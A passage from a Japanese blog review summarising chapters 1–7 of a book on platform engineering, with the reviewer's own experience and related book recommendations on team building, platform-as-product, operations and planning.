Paper」では、Platformsについて「クラウドネイティブコンピューティングのためのプラットフォームは、プラットフォームのユーザーのニーズに応じて定義・提示される統合された機能のコレクションです。幅広いアプリケーションやユースケースに対して、一般的な機能やサービスを取得・統合するための一貫した体験を確保するクロスカッティングなレイヤーです。優れたプラットフォームは、Webポータル、プロジェクトテンプレート、セルフサービスAPIなど、その機能やサービスの利用と管理に一貫したユーザー体験を提供します」と定義しています。tag-app-delivery.cncf.ioまた、プラットフォームエンジニアリングの成熟度を評価するための「Platform Engineering Maturity Model」も公開されていますので、ぜひ参考にしてください。tag-app-delivery.cncf.ioFigure 1-1. The over-general swamp, held together by glue より引用[Figure 1.1]では、「Over-General Swamp」の状態を示しており、多数のアプリケーションが個別のプリミティブと直接統合され、それらの間を大量のglueコードが繋いでいる様子が描かれています。この図は、プラットフォームが存在しない状態での複雑性の増大を視覚的に表現しています。あるプログラムで、異なるシステムやコンポーネントを連携させるために書かれる仲介的なコードのことです。このコードは、システムの本来の機能には直接関係しませんが、互換性のない部品同士をスムーズに連携させるために必要な「接着剤」のような役割を果たします。これを『グルーコード』と言います。ja.wikipedia.org特に印象的なのは、著者がプラットフォームエンジニアリングを複雑性を管理しながらビジネスへのレバレッジを提供するという明確な目的を持った規律として位置づけている点です。私の経験でも、単なる技術的な基盤提供を超えて、開発者の生産性向上とビジネス価値の創出を同時に実現することが、プラットフォームエンジニアリングの成功の鍵となっています。現代のソフトウェア開発における「Over-General Swamp」の問題Figure 1-2. How platforms reduce the amount of glue より引用[Figure 1.2]は、プラットフォームエンジニアリングによる解決後の状態を示しています。この図では、プラットフォームが複数のプリミティブを抽象化し、アプリケーションとの間にクリーンなインターフェースを提供している様子が描かれています。glueコードが大幅に削減され、システム全体の見通しが改善されていることが分かります。著者は現代のソフトウェア開発環境を「Over-General Swamp(過度に一般化された沼)」と表現し、この比喩を通じて複雑性の罠を見事に描き出しています。クラウドとOSSの普及により、開発者は豊富な選択肢を手に入れましたが、それは同時に「接着剤(glue)」と呼ばれる統合コードやカスタム自動化の増加をもたらしました。プラットフォームエンジニアリングによる解決アプローチ著者が提示するプラットフォームエンジニアリングの解決策は、製品としてのアプローチを重視しています。これは、ユーザー中心の視点を持ちながら、機能の取捨選択を慎重に行い、全体としての一貫性と使いやすさを追求することを意味します。Appleの製品開発アプローチを例に挙げながら、著者は機能の追加だけでなく、むしろ何を含めないかの判断の重要性を強調しています。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon技術的な側面では、プラットフォームエンジニアリングは複雑性を管理可能なレベルに抑えることを目指します。例えば、インフラストラクチャの分野では、Terraformの例を用いて、個々のチームが独自にインフラストラクチャを管理する場合の問題点と、プラットフォームによる抽象化がもたらす利点が説明されています。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonプラットフォームチームの役割とイノベーション著者は、プラットフォームチームの役割について、従来のインフラストラクチャ、DevTools、DevOps、SREの各アプローチとの違いを明確に示しています。これらの従来のアプローチは、それぞれの専門分野に特化していますが、プラットフォームエンジニアリングはこれらの境界を越えて、より包括的な価値を提供することを目指します。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon特筆すべきは、著者がイノベーションとプラットフォームの関係について、現実的な見解を示している点です。プラットフォームは既存の技術スタック内でのビジネスイノベーションを促進する一方で、プラットフォームの範囲を超えた革新的な取り組みも必要だと認めています。例えば、データ領域での新しい技術の採用など、プラットフォームの制約を一時的に超えることが必要な場合もあると指摘しています。章全体からの学び第1章は、プラットフォームエンジニアリングが現代のソフトウェア開発組織にとって不可欠な理由を説得力のある形で提示しています。複雑性の増大、運用負荷の増加、イノベーションの必要性といった課題に対して、プラットフォームエンジニアリングは包括的な解決策を提供します。著者は、プラットフォームエンジニアリングが単なる技術的な取り組みではなく、組織全体の成功に関わる戦略的な施策であることを強調しています。これは、私の実務経験とも強く共鳴する見解です。プラットフォームエンジニアリングの成功には、技術的な卓越性だけでなく、組織的な変革とイノベーションのバランスを取ることが求められます。今後のソフトウェア開発組織にとって、プラットフォームエンジニアリングの導入は避けて通れない課題となるでしょう。本章は、その理由と意義を深く理解するための優れた導入を提供しています。特に、プラットフォームエンジニアリングが組織にもたらす具体的な価値と、その実現に向けた実践的なアプローチについての示唆は、多くの組織にとって有用な指針となるはずです。特に注目すべきは、プラットフォームを「製品」として扱うアプローチや、ステークホルダーマネジメントの重要性など、技術面だけでなく組織的な側面にも焦点を当てている点です。これらの知見は、プラットフォームエンジニアリングの実践において大きな価値をもたらすと考えられます。プラットフォームエンジニアリングリーダーとして、本書から学んだ知識を自身のチームや組織に適用し、より効果的なプラットフォーム戦略を構築していくことが重要です。また、本書が提起する課題や解決策について、同僚や業界のピアとのディスカッションを通じて、さらなる洞察を得ることができるでしょう。このような実践と対話を通じて、プラットフォームエンジニアリングの分野がさらに発展していくことが期待されます。「翻訳記事 -「インフラ基盤部門は本当に必要か」に関する議論」なんかもとても良い記事なので読んでほしいです。ca-srg.devChapter 2. The Pillars of Platform Engineering第2章「The Pillars of Platform Engineering」は、プラットフォームエンジニアリングの4つの重要な柱について詳細に解説しています。著者は、Product(製品としてのアプローチ)、Development(ソフトウェアベースの抽象化)、Breadth(幅広い開発者への対応)、Operations(基盤としての運用)という4つの柱を通じて、効果的なプラットフォームエンジニアリングの実践方法を示しています。これらの柱は相互に補完し合い、成功するプラットフォームエンジニアリングの基礎を形成しています。キュレートされた製品アプローチの重要性プラットフォームエンジニアリングにおける最初の柱は、キュレートされた製品アプローチです。このアプローチは、単なる技術的な実装を超えて、ユーザーのニーズを中心に据えた戦略的な製品開発を意味します。著者は、これを「paved paths(舗装された道)」と「railways(鉄道)」という2つの異なるタイプのプラットフォーム製品として説明しています。Paved Pathsは、複数のオファリングを統合した使いやすいワークフローを提供し、アプリケーションチームから複雑性を隠蔽しながら、パレート原理に基づいて20%のユースケースで80%のニーズをカバーすることを目指す標準的なアプローチを提供します。Figure 2-1. Architecture of a paved path platform より引用[Figure 2.1]は「paved path」の概念を視覚的に表現しており、複数のオファリングを使いやすいワークフローとして統合し、アプリケーションチームから複雑性を隠蔽する方法を示しています。これは共通のニーズに対応するための標準的なアプローチを提供することを目的としており、著者が提唱する製品としてのプラットフォームの本質を端的に表現しています。Railwaysは、既存製品では対応できない特定ニーズに応え、組織全体に特定の機能を提供するための重要なインフラストラクチャ投資を伴い、プロトタイプから進化してスケーラブルなソリューションを提供する新しい形態のプラットフォームです。Figure 2-2. Architecture of a railway platform より引用[Figure 2.2]は「railway」型プラットフォームを示しており、既存の製品では対応できない特定のニーズに応える新しい形態のプラットフォームを表現しています。具体例として、バッチジョブプラットフォーム、通知システム、グローバルアプリケーション設定プラットフォーム、データ処理パイプライン、監視・モニタリングプラットフォームなどが挙げられます。プラットフォームを製品として捉えることは、単なる技術的な選択以上の意味を持ちます。ユーザー中心のデザインを通じて一貫性のある使いやすいインターフェースを提供し、明確なドキュメンテーションと効果的なオンボーディング体験を実現することが重要です。また、必要な機能の追加と不要機能の大胆な削除を行いながら、機能の優先順位付けを適切に管理し、継続的な改善サイクルを通じてユーザーフィードバックを収集・分析し、パフォーマンス指標の測定と定期的な機能の見直しを行うことが求められます。ソフトウェアベースの抽象化の実現著者は、「ソフトウェアを構築していないなら、それはプラットフォームエンジニアリングではない」と明確に述べています。この主張は、プラットフォームエンジニアリングの本質を理解する上で極めて重要です。効果的な抽象化を実現するためには、適切な粒度での機能分割、一貫性のあるインターフェース、バージョニング戦略、エラーハンドリングなどのAPI設計の原則に加えて、スケーラビリティ、パフォーマンス、セキュリティ、監視可能性などの実装上の考慮事項も重要となります。幅広い開発者ベースへのサービス提供プラットフォームの対象は幅広い開発者ベースであり、セルフサービス機能、ユーザー観測性、ガードレール、マルチテナンシーが重要な要素となります。これらは直感的なユーザーインターフェースとAPI駆動の自動化による効率的なワークフロー、詳細なログ記録とパフォーマンスメトリクス、セキュリティ制御とリソース制限、そしてリソースの分離とアクセス制御を実現します。GenerativeAIの影響と展望著者は、GenerativeAIがプラットフォームエンジニアリングに与える影響について、MLOpsの進化、ツールチェーンの整備、インフラストラクチャの効率化、データガバナンス、LLMエコシステムの観点から包括的な分析を提供しています。これには、モデル開発ライフサイクル管理とデプロイメント自動化、研究者向けインターフェースと非技術者向け操作性、コンピュートリソースとストレージの最適化、プライバシー保護とコンプライアンス対応、そしてモデル選択と統合が含まれます。基盤としての運用プラットフォームが組織の基盤として機能するためには、プラットフォームへの責任、プラットフォームのサポート、運用規律という3つの要素が不可欠です。これらは、エンドツーエンドの管理と問題解決の主導、ユーザーサポート体制とドキュメンテーションの充実、そして標準化されたプロセスと品質管理を通じて実現されます。章全体からの学び第2章は、プラットフォームエンジニアリングの4つの柱を通じて、成功するプラットフォームの要件を明確に示しています。技術的な卓越性、組織的な変革、イノベーション、継続的な進化が、プラットフォームエンジニアリングの成功には不可欠です。これらは最新技術の適用とパフォーマンスの最適化、チーム構造の最適化とスキル開発、新技術の評価と導入、そしてフィードバックの収集と反映を通じて実現されます。これらの要素は相互に関連し、バランスの取れた実装が必要となります。プラットフォームエンジニアリングは継続的な取り組みであり、技術的な側面だけでなく、組織的な支援と文化の醸成を通じて常に進化し続ける必要があります。Part II. Platform Engineering Practices第2部は、C.S.Lewisの「卵が鳥になるのは難しいかもしれないが、卵のままで飛ぶ方がよほど難しい」という言葉から始まり、プラットフォームエンジニアリングの実践的な側面に焦点を当てています。著者は8つの主要な失敗パターンを特定し、それぞれに対する具体的な解決策を提示しています。特に重要なのは、プラットフォームエンジニアリングが単なるインフラストラクチャエンジニアリングやDevOpsの再ブランディングではないという指摘です。私のチームでも、適切なタイミングでの開始、適切な人材ミックス、製品思考の導入、効果的な運用という要素が、成功への重要な要因となっています。Chapter 3. How and When to Get Started第3章「How and When to Get Started」は、プラットフォームエンジニアリングの導入時期と方法について、組織の成熟度や規模に応じた具体的なアプローチを提供しています。著者は、三つの主要な状況に焦点を当て、各シナリオにおける成功への道筋を示しています。小規模組織でのプラットフォーム協力の育成著者は小規模スタートアップにおけるプラットフォームエンジニアリングのアプローチを、成熟度モデルを用いて説明しています。特に注目すべきは、アドホック段階とやや管理された段階という2つのフェーズの定義です。この文脈で参考になるのが、CNCF Platform Engineering Maturity Modelです。このフレームワークは、組織の成熟度を評価し、次のステップを計画する際の指針となります。tag-app-delivery.cncf.ioアドホック段階では、シンプルな自動化と基本的なプロセスの確立に焦点を当てることが推奨されています。著者は、この段階で重要なのはソースコントロール、自動化された継続的デプロイメント、そして軽量なプロセスの3つの要素だと強調しています。これは私の経験とも一致しており、特に小規模チームにおいては、過度に複雑なプロセスや高度な技術スタックを避け、シンプルさを保つことが重要です。やや管理された段階では、チームの成長に伴い、より構造化されたアプローチが必要となります。著者はローカル開発環境の自動化、ステージング環境の整備、観測可能性の向上などの要素を重視しています。この段階での重要な洞察は、技術選択の社会化と意思決定プロセスの確立の必要性です。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon協力を代替するプラットフォームチームの創設組織の成長に伴い、アドホックな協力体制から正式なプラットフォームチームへの移行が必要となります。著者は、この移行のタイミングとしてダンバー数(50-250人)を参考指標として挙げています。これは、組織内の協力関係が自然に維持できる限界を示す重要な指標です。この移行のプロセスについては、DevOps Topologiesが有用な参考資料となります。web.devopstopologies.com著者は、プラットフォームチームの設立において、所有権の中央集権化がもたらす利点とコストのバランスを慎重に検討する必要性を強調しています。特に注目すべきは、新しい技術やアーキテクチャではなく、問題解決に焦点を当てるという原則です。これは、プラットフォームチームが陥りがちな、技術的な理想主義による過度な複雑化を避けるための重要な指針となります。internaldeveloperplatform.org伝統的なインフラストラクチャ組織の変革既存のインフラストラクチャ組織をプラットフォームエンジニアリング組織へと変革する過程について、著者は包括的なガイダンスを提供しています。特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。この変革プロセスを支援するフレームワークとして、Thoughtworks Technology Radarが有用です。www.thoughtworks.com特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。 本を紹介します。伝統的な組織からプロダクト中心の組織への移行について詳しく解説しています。PROJECT TO PRODUCT フローフレームワークでデジタルディスラプション時代に成功する方法作者:MIK KERSTENパレードAmazon変革のプロセスにおいて、著者は段階的なアプローチの重要性を強調しています。最も有望な領域から始め、成功事例を積み重ねていくことで、組織全体の変革を推進することが推奨されています。また、プロダクトマネージャーの役割についても現実的な視点が示されており、単にプロダクトマネージャーを採用するだけでは不十分で、エンジニアリングチームの協力が不可欠であることが指摘されています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon章全体からの学び第3章は、プラットフォームエンジニアリングの導入と発展に関する実践的なガイドを提供しています。とりわけ重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択する必要性です。私自身も組織のプラットフォームエンジニアリングを主導している立場から、小規模スタートアップでは軽量なプロセスと基本的な自動化から始め、成長に伴って段階的に発展させていく著者の提案に強く共感します。特に印象的なのは、著者がプラットフォームエンジニアリングを単なる技術的な取り組みではなく、組織文化の変革として捉えている点です。これは私の実務経験とも一致しており、多くの組織が陥りがちな技術偏重のアプローチを避けるための重要な示唆となっています。例えば、私のチームでは新しい技術の導入よりも、まず既存の問題解決と開発者体験の向上に焦点を当てることで、より持続可能な変革を実現できています。また、チーム編成に関する著者の洞察も非常に実践的です。特に、大企業出身のエンジニアの採用に関する警告は、私自身の経験からも非常に的確だと感じています。優れた技術力を持っていても、規模の異なる組織での経験をそのまま適用しようとする傾向は、しばしば新たな問題を引き起こす原因となりうるからです。この章の知見は、今後のプラットフォームエンジニアリングの実践において重要な指針となるでしょう。組織の成熟度に応じた段階的なアプローチ、ユーザー中心の文化醸成、そして適切なチーム構築は、成功への鍵となる要素です。私たちプラットフォームエンジニアリングリーダーは、これらの知見を活かしながら、各組織の状況に適した変革を推進していく必要があります。Chapter 4. Building Great Platform Teams第4章「Building Great Platform Teams」は、プラットフォームエンジニアリングチームの構築と育成に焦点を当てています。この章では、効果的なプラットフォームチームの構築に必要な多様な役割と、それらの役割間のバランスの取り方について、実践的な知見が提供されています。特に、ソフトウェアエンジニアとシステムエンジニアの異なる視点をどのように融合させ、顧客中心のプラットフォームを構築するかという課題に深く切り込んでいます。シングルフォーカスチームの課題単一の視点に偏ったチーム構成は、長期的に見て大きな課題を生み出します。システムエンジニアに偏重したチームは運用面では優れているものの、プラットフォームの抽象化や設計面で課題を抱えがちです。一方、ソフトウェアエンジニアに偏重したチームは新機能の開発には長けていますが、運用安定性や既存システムの改善に対する意識が低くなりがちです。私の経験からも、この両極端な状況を目にすることが多々あります。過去のプロジェクトでは、システムエンジニアの視点が強すぎるあまり、新機能開発に対して過度に慎重になり、結果として顧客ニーズへの対応が遅れるという課題がありました。一方で、開発速度を重視するあまり、運用の視点が欠如し、本番環境での深刻な問題を引き起こすケースも見てきました。Figure 4-1. Breaking down the major engineering roles in a platform engineering team より引用[Figure 4-1]で示されているように、プラットフォームエンジニアリングチームにおける主要なエンジニアリング役割の分類は、このバランスの重要性を明確に表しています。プラットフォームエンジニアの多様な役割プラットフォームエンジニアリングチームにおける主要な役割について、著者は4つの異なる専門性を持つエンジニアの重要性を強調しています。Software Engineerはソフトウェア開発に特化しながらもシステムへの深い理解と運用への関心を持ち、ビジネスクリティカルなシステムのオンコール対応ができ、慎重なペースでの開発に納得できる人材です。Systems EngineerはDevOpsエンジニアやSREに近い立場ながら、より広範な視点を持ち、インフラストラクチャの統合からプラットフォームのコードベースに関わる深いシステムの問題解決まで、幅広い業務を担当します。Reliability Engineerは信頼性に特化し、インシデント管理、SLOのコンサルティング、カオスエンジニアリング、ゲームデイの実施など、システム全体の信頼性向上に注力します。そしてSystems Specialistは、ネットワーキング、カーネル、パフォーマンス、ストレージなど、特定の技術領域に深い専門性を持つエンジニアですが、著者はこの役割については組織の規模と必要性が明確になってから採用することを推奨しています。特に印象的なのは、各役割の採用と評価についての具体的なアドバイスです。例えば、システムエンジニアの採用において、コーディング面接の柔軟な運用を提案しています。私のチームでもこのアプローチを採用し、結果として運用経験が豊富で、かつ適度なコーディングスキルを持つエンジニアの採用に成功しています。また、クラウドネイティブプラットフォームの構築において、これら4つの役割が相互に補完し合い、それぞれの専門性を活かしながら協働することで、より堅牢なプラットフォームの実現が可能になることを日々の実務で実感しています。プラットフォームエンジニアリングマネージャーの重要性プラットフォームエンジニアリングマネージャーには、プラットフォームの運用経験、長期プロジェクトの経験、そして細部への注意力が不可欠です。私の経験上、特に運用経験の重要性は強調してもしすぎることはありません。複雑なシステムの運用経験がないマネージャーが、技術的な課題の深刻さを過小評価し、結果として重大なサービス障害を引き起こすケースを何度も目にしてきました。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazonチーム文化の構築と維持チーム文化の構築は、技術的な課題と同じくらい重要です。著者が示す開発チームとSREチームの統合事例は、私自身のチーム統合経験とも共鳴する部分が多くあります。特に、異なる文化を持つチームを統合する際の段階的なアプローチは、非常に実践的です。私のチームでは、定期的な技術共有セッションとクロスファンクショナルなプロジェクト編成を通じて、異なる背景を持つエンジニア間の相互理解を促進しています。これにより、「システムチーム」vs「開発チーム」という対立構造を避け、より協調的な文化を醸成することができています。章全体からの学びプラットフォームエンジニアリングチームの成功には、技術的なスキルと組織文化の両面でのバランスが不可欠です。著者の提案する4つの役割分類と、それぞれの役割に対する適切な評価・育成方法は、実践的で価値のある指針となっています。特に重要なのは顧客エンパシーです。これは単なるスキルではなく、チーム全体の文化として根付かせる必要があります。プラットフォームエンジニアリングチームが提供する価値は、単なる技術的な解決策ではなく、顧客の課題を深く理解し、それに対する適切な解決策を提供することにあるからです。今後のプラットフォームエンジニアリングには、技術の進化に加えて、組織のデジタルトランスフォーメーションへの対応も求められます。この章で学んだチーム構築の原則は、そうした変化に対応する上で重要な指針となるでしょう。個人的な経験からも、技術と人、そして文化のバランスを取ることが、持続可能なプラットフォーム組織の構築には不可欠だと確信しています。Chapter 5. Platform as a Product第5章「Platform as a Product」は、プラットフォームエンジニアリングにおいて、プラットフォームを製品として捉えるアプローチの重要性と実践方法について深く掘り下げています。著者は、組織内プラットフォームの構築において、プロダクト思考を採用することの意義と、その実現に向けた具体的な戦略を提示しています。顧客中心のプロダクトカルチャーの確立著者は、内部顧客の特性として、小規模な顧客基盤、囚われの観客、利害の対立、顧客満足度の変動、そして時として競合者となり得る顧客の存在を挙げています。私の経験でも、特に囚われの観客という特性は重要で、単にプラットフォームの使用を強制するのではなく、真に価値のある製品として受け入れられる必要があります。著者が提唱する「顧客エンパシー」の文化は、面接プロセスからの組み込み、顧客中心の目標設定、ユーザーフィードバックの定期的な収集など、具体的な施策を通じて醸成されます。私のチームでも、エンジニアのサポート輪番制を導入し、顧客の課題を直接理解する機会を設けることで、より顧客志向の製品開発が実現できています。プロダクトディスカバリーとマーケット分析新しいプラットフォーム製品の発見と検証について、著者は他チームが構築した成功事例を基に広範な用途に適用可能な製品として発展させること、特定のチームと協力して具体的な課題解決から始めて一般化可能な製品を作り出すこと、そして導入障壁が低く明確な価値提案を持つ製品から着手することという三つのアプローチを提示しています。プロダクトロードマップの重要性著者は、プロダクトロードマップの構築において、プラットフォームが目指す理想的な状態を示す長期的なビジョン、ビジョン実現のための具体的なアプローチを示す中期的な戦略、定量的な成功指標となる年間目標とメトリクス、そして具体的な実装計画となる四半期ごとのマイルストーンという段階的なアプローチを提案しています。この考え方は、「プロダクトマネージャーのしごと 第2版」でも強調されており、同書ではプロダクトマネージャーの重要な役割として、ビジョンとロードマップの策定、顧客ニーズの深い理解、データ駆動の意思決定、そしてステークホルダーとの効果的なコミュニケーションを挙げています。特に、プロダクトロードマップは単なる実装計画ではなく、製品の戦略的な方向性を示す重要なツールとして位置づけられています。プロダクトマネージャーのしごと 第2版 ―1日目から使える実践ガイド作者:Matt LeMayオーム社Amazon失敗のパターンと対策著者は主要な失敗パターンとして、移行コストの過小評価、ユーザーの変更予算の過大評価、安定性が低い状況での新機能価値の過大評価、そしてエンジニアリングチームの規模に対する製品マネージャーの過剰な配置を指摘しています。私の経験からも、特に移行コストの過小評価は深刻な問題となりがちで、新機能の魅力に目を奪われ、既存システムからの移行に伴う実務的な課題を軽視してしまうケースを何度も目にしてきました。章全体からの学びプラットフォームを製品として扱うアプローチの成功には、文化、製品市場適合性、実行の3つの要素が不可欠です。著者が強調するように、単なる技術的な優位性ではなく、顧客価値の創出と組織全体への影響を考慮した包括的なアプローチが求められます。プラットフォームエンジニアリングリーダーとして、この章から学んだ最も重要な教訓は、技術的な卓越性と顧客価値のバランスを取ることの重要性です。プラットフォームは技術的に優れているだけでなく、実際のユーザーにとって価値のある、使いやすい製品でなければなりません。また、私はプロダクトマネジメントについて学んできてなかったので主張としてなんとなくしか理解できない事柄もいくつかあった。Chapter 6. Operating Platforms第6章「Operating Platforms」は、プラットフォームエンジニアリングにおける運用の本質と、その実践的なアプローチについて深く掘り下げています。この章では、プラットフォームの運用が単なる技術的な課題ではなく、組織全体の成功に直結する戦略的な要素であることを強調しています。著者は、「レアなことは規模が大きくなると一般的になる」という Jason Cohen の言葉を引用しながら、プラットフォームの規模拡大に伴う運用上の課題とその対処方法について詳細に論じています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazonオンコール体制の重要性と実践著者は、オンコール体制について非常に現実的な視点を提供しています。特に印象的だったのは、24x7のオンコール体制の必要性についての議論です。私自身、過去に「重要ではない」と思われる開発者ツールのプラットフォームでさえ、予想外のタイミングで重要になる経験をしてきました。例えば、深夜のクリティカルなバグ修正時にデプロイメントプラットフォームが機能しないという状況は、まさに著者が指摘する通りの事例です。著者が提案する「週に5件以下のビジネスインパクトのある問題」という基準は、理想的ではありますが、現実的な目標として受け入れられます。これは私の経験とも一致しており、このレベルを超えると組織の持続可能性が急速に低下することを実感してきました。特に、この数字を超えると、チームのバーンアウトや離職率の上昇といった深刻な問題につながることを、実際のプロジェクトで何度も目の当たりにしてきました。また、マージされたDevOpsアプローチの重要性について、著者は説得力のある議論を展開しています。プラットフォームチームの規模が限られている場合、開発とオペレーションを分離することは現実的ではないという指摘は、多くの組織にとって重要な示唆となります。私の経験では、小規模なプラットフォームチームでDevとOpsを分離しようとした結果、コミュニケーションの断絶や責任の所在の不明確化といった問題が発生したケースを数多く見てきました。サポート実践の段階的アプローチサポート体制については、著者が提案する4段階のアプローチが非常に実践的です。特に、サポートレベルの形式化から始まり、最終的にはエンジニアリングサポート組織(ESO)の確立に至るまでの発展プロセスは、多くの組織が参考にできるモデルとなっています。第1段階のサポートレベルの形式化では、支援要請の分類と対応の優先順位付けが重要です。私のチームでも、この分類作業を通じて、実際には多くの問題が共通のパターンを持っていることが分かり、効率的な対応方法を確立することができました。第2段階のクリティカルでないサポートのオンコールからの分離は、チームの持続可能性を確保する上で重要なステップです。私の経験では、この分離を実施することで、開発者が本来の開発業務に集中できる時間が増え、結果としてプラットフォームの品質向上にもつながりました。第3段階のサポートスペシャリストの採用については、著者が指摘する「ユニコーン」の必要性に強く共感します。T1とT2の両方をこなせる人材を見つけることは確かに難しいですが、非伝統的な背景を持つ人材の育成という提案は、現実的かつ効果的なアプローチだと考えています。最後の第4段階である大規模なエンジニアリングサポート組織の確立については、著者が提供するFAANG企業での実例が非常に参考になります。特に、アプリケーションの階層化とそれに応じたSLAの設定、顧客のオンコール要件、システムエンジニアの採用といった具体的な施策は、大規模組織での運用の複雑さと、その解決策を理解する上で重要な示唆を提供しています。運用フィードバックの実践運用フィードバックの実践については、著者がSLO、SLA、エラーバジェットについて興味深い見解を示しています。特に、エラーバジェットが必ずしも万能な解決策ではないという指摘は、現実の組織運営において非常に重要な視点です。私の経験では、エラーバジェットの導入が却ってチーム間の対立を生む結果となったケースもありました。著者が提案する合成モニタリングの重要性は、現代のプラットフォーム運用において極めて重要です。開発時間の25%、リソースコストの10%という投資推奨は、一見高額に感じるかもしれませんが、問題の早期発見と対応によって得られる価値を考えると、十分に正当化できる投資だと考えています。私のチームでも、合成モニタリングの導入により、ユーザーからの報告前に問題を検知し、対応できるケースが大幅に増加しました。変更管理の現実的アプローチ変更管理に関する著者の見解は、現代のDevOps実践との関連で特に興味深いものでした。完全な自動化を目指しつつも、その過程での適切な変更管理の重要性を説いている点は、多くのプラットフォームチームにとって重要な示唆となります。著者が指摘する通り、プラットフォームの変更は複雑で状態を持つことが多く、単純なCI/CDの適用が難しい場合が多いです。私の経験でも、キャッシュクリアやデータベースマイグレーションなど、慎重な制御が必要な操作が多く存在し、これらの管理には明確なプロセスと慎重なアプローチが必要でした。運用レビューの実践運用レビューについての議論は、特にリーダーシップの観点から重要です。チームレベルでのシンプルかつ厳格なレビュー、そして組織レベルでの本質的なレビューの必要性は、プラットフォーム運用の成功に不可欠な要素として描かれています。私の経験では、週次の運用レビューを通じて、潜在的な問題を早期に発見し、対応することができました。特に、ページング頻度、サポートチケットの傾向、インシデントの根本原因分析などを定期的にレビューすることで、システムの健全性を維持し、改善の機会を見出すことができました。また、著者が強調するリーダーシップの関与の重要性は、非常に重要な指摘です。運用レビューに経営層が積極的に参加することで、運用上の課題が適切に理解され、必要なリソースの確保や優先順位付けがスムーズに行われるようになった経験があります。章全体からの学びこの章は、プラットフォーム運用の複雑さと、それを成功に導くための実践的なアプローチを包括的に示しています。特に、運用の規律がプラットフォームの成功にとって不可欠であることを強調している点は、現代のソフトウェア開発環境において極めて重要な示唆となっています。読者として強く感じたのは、プラットフォーム運用が単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。この章で提示されている運用プラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。私自身、これらのプラクティスの多くを実践してきましたが、特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。最後に、この章の内容は、プラットフォームエンジニアリングリーダーが直面する現実的な課題と、その解決のための具体的なアプローチを提供しており、現代のソフトウェア開発組織にとって重要な指針となっています。特に、運用の持続可能性とビジネス価値の創出のバランスを取りながら、組織を成長させていくための実践的な知見は、非常に価値のあるものだと言えます。Chapter 7. Planning and Delivery第7章「Planning and Delivery」は、プラットフォームエンジニアリングにおける計画立案と実行の重要性について深く掘り下げています。この章では、長期的なプロジェクトの計画から日々の実行管理、そして成果の可視化に至るまで、プラットフォームチームのリーダーが直面する実践的な課題と、その解決のためのアプローチについて詳細に解説しています。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon長期プロジェクトの計画立案プラットフォームエンジニアリングの特徴的な側面の一つは、長期的なプロジェクトの存在です。私の経験でも、新しいインフラストラクチャの構築や大規模なマイグレーションプロジェクトは、しばしば数ヶ月から数年の期間を要します。著者が提案するプロポーザルドキュメントの作成から実行計画への移行というアプローチは、このような長期プロジェクトを成功に導くための実践的な方法論として非常に重要です。特に印象的だったのは、プロジェクトの目的と要件をプロポーザルドキュメントで明確化する部分です。私自身、過去に大規模なマイグレーションプロジェクトをリードした際、初期段階でのプロポーザルドキュメントの重要性を痛感しました。背景、テネット、ガイドライン、問題の詳細、解決策の概要、実行計画という構造化されたアプローチは、関係者間の合意形成と期待値の調整に非常に効果的でした。ボトムアップなロードマップ計画著者が提案するボトムアップなロードマップ計画は、プラットフォームチームが直面する現実的な課題に対する実践的な解決策を提供しています。特に、KTLO(Keep the Lights On)作業、マンデート、システム改善という3つの主要な作業カテゴリの区分は、リソース配分と優先順位付けの明確な枠組みを提供します。私のチームでも、KTLOワークの見積もりから始めて、段階的にプランニングの精度を上げていく手法を採用しています。特に、全体の40%をKTLOに、残りを70/20/10の比率で新機能開発、アーキテクチャ改善、イノベーションに配分するというガイドラインは、バランスの取れたリソース配分の指針として有用でした。戦略の要諦 (日本経済新聞出版)作者:リチャード・P・ルメルト日経BPAmazon隔週での成果と課題の共有著者が提案する「Wins and Challenges」という取り組みは、プラットフォームチームの成果を可視化し、組織全体との信頼関係を構築するための効果的な方法です。私のチームでも、この手法を導入してから、ステークホルダーとのコミュニケーションが大幅に改善されました。特に重要なのは、チャレンジを適切に共有することの価値です。私の経験では、問題を隠すのではなく、適切に共有し、解決に向けた支援を得られる関係性を構築することが、長期的な信頼関係の構築に不可欠でした。このような定期的な成果共有の重要性は、「SREsのためのSRE定着ガイド」でも定点観測会として紹介されており、インフラストラクチャーの価値を他のチームに継続的に伝えていく機会として非常に有効です。 